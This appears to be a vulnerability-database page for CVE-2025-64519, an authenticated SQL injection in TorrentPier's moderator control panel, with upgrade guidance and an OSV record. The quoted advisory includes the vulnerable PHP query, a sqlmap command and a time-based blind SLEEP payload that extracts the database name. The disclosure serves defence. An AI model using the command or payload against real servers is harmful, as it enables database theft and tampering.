CVE-2025-64519: Torrentpier/torrentpier SQL Injection Vulnerability
HIGHCVE-2025-64519 is a HIGH (CVSS 8.8) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Torrentpier/torrentpier libraries in the Packagist ecosystem. The issue involves torrentpier is vulnerable to authenticated sql injection through moderator control panel's topic_id parameter. Remediation is available by upgrading affected packages to version 2.8.9.
CVE-2025-64519 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-64519
To remediate this vulnerability, upgrade all affected Torrentpier/torrentpier dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade torrentpier/torrentpier to 2.8.9
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for torrentpier/torrentpier
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-64519, inspect your project dependencies for Torrentpier/torrentpier:
inspect dependencies for torrentpier/torrentpier
Analyze the terminal output to locate any version of Torrentpier/torrentpier in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.8.9), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Torrentpier/torrentpier, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-64519 Affected Torrentpier/torrentpier Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
torrentpier/torrentpier
|
Packagist |
< 2.8.9
|
2.8.9
|
References
Frequently Asked Questions
What is CVE-2025-64519?
Which Torrentpier/torrentpier versions are affected?
What version fixes CVE-2025-64519?
Is torrentpier/torrentpier affected?
What is the CVSS score of CVE-2025-64519?
What CWE is associated with CVE-2025-64519?
How can I check Packagist dependencies for CVE-2025-64519?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4rwr-8c3m-55f6",
"modified" : "2026-05-13T13:36:17Z",
"published" : "2025-11-10T21:30:44Z",
"aliases" : [ "CVE-2025-64519" ],
"summary" : "TorrentPier is Vulnerable to Authenticated SQL Injection through Moderator Control Panel's topic_id parameter",
"details" : "### Summary\nAn authenticated SQL injection vulnerability exists in the moderator control panel (`modcp.php`). Users with moderator permissions can exploit this vulnerability by supplying a malicious `topic_id` (`t`) parameter. This allows an authenticated moderator to execute arbitrary SQL queries, leading to the potential disclosure, modification, or deletion of any data in the database.\n\n### Details\nThe vulnerability is triggered when `modcp.php` processes a request that includes a `topic_id` (`t` parameter). The value of `$topic_id` is taken directly from user input and is not sanitized or parameterized before being concatenated into an SQL query.\n\nThis occurs within the initial data retrieval block for a given topic ID.\n\n**Vulnerable Code Block in `modcp.php` (lines 111-122):**\n```php\nif ($topic_id) {\n $sql = \"\n\t\tSELECT\n\t\t\tf.forum_id, f.forum_name, f.forum_topics, f.self_moderated,\n\t\t\tt.topic_first_post_id, t.topic_poster\n\t\tFROM \" . BB_TOPICS . \" t, \" . BB_FORUMS . \" f\n\t\tWHERE t.topic_id = $topic_id\n\t\t\tAND f.forum_id = t.forum_id\n\t\tLIMIT 1\n\t\";\n\n if (!$topic_row = DB()->fetch_row($sql)) {\n bb_die($lang['INVALID_TOPIC_ID_DB']);\n }\n // ...\n}\n```\nIn the `WHERE t.topic_id = $topic_id` clause, the `$topic_id` variable is directly embedded into the query string. An attacker can inject SQL syntax (e.g., boolean logic, time-based functions) into the `t` parameter to manipulate the query's execution.\n\n### PoC\nThis is a time-based blind SQL injection vulnerability that requires moderator privileges.\n\n**Prerequisites:**\n1. A running instance of TorrentPier.\n2. An account with moderator permissions.\n\n**Steps to Reproduce:**\n\n1. Log in as a moderator.\n2. Obtain your full session cookie string from your browser's developer tools.\n3. Use `sqlmap` to automate the exploitation. The tool will test the `t` parameter for vulnerabilities.\n\n**`sqlmap` Command:**\n*(Note: Replace `https://localhost` with the target URL and `\"your_full_cookie_string\"` with the actual cookie data from your browser session, e.g., `\"key1=value1; key2=value2\"`)*.\n\n```bash\nsqlmap -u \"https://localhost/modcp.php?mode=lock&t=1\" -p t --cookie \"your_full_cookie_string\" --dbms mysql --technique T --current-db\n```\n\n**`sqlmap` Output Confirmation:**\nThe following output from `sqlmap` confirms successful exploitation:\n```\n---\nParameter: t (GET)\n Type: time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n Payload: mode=lock&t=1 AND (SELECT 9461 FROM (SELECT(SLEEP(5)))KxhM)\n---\n[INFO] the back-end DBMS is MySQL\n[INFO] fetching current database\n[INFO] retrieved: torrentpier\ncurrent database: 'torrentpier'\n```\n\n### Impact\nThis is an authenticated SQL Injection vulnerability. Although it requires moderator privileges, it is still severe. A malicious or compromised moderator account can leverage this vulnerability to:\n\n* **Read sensitive data:** Extract any information from the database, including user credentials (password hashes), private messages, email addresses, and other private data.\n* **Modify data:** Alter records in the database, such as elevating their own or other users' privileges to administrator level.\n* **Delete data:** Corrupt or destroy forum data by dropping tables or deleting records.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "torrentpier/torrentpier"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.8.9"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.8.8"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/torrentpier/torrentpier/security/advisories/GHSA-4rwr-8c3m-55f6"
}, {
"type" : "WEB",
"url" : "https://github.com/torrentpier/torrentpier/commit/6a0f6499d89fa5d6e2afa8ee53802a1ad11ece80"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/torrentpier/torrentpier"
}, {
"type" : "WEB",
"url" : "https://github.com/torrentpier/torrentpier/releases/tag/v2.8.9"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-11-10T21:30:44Z",
"nvd_published_at" : "2025-11-10T23:15:41Z"
}
}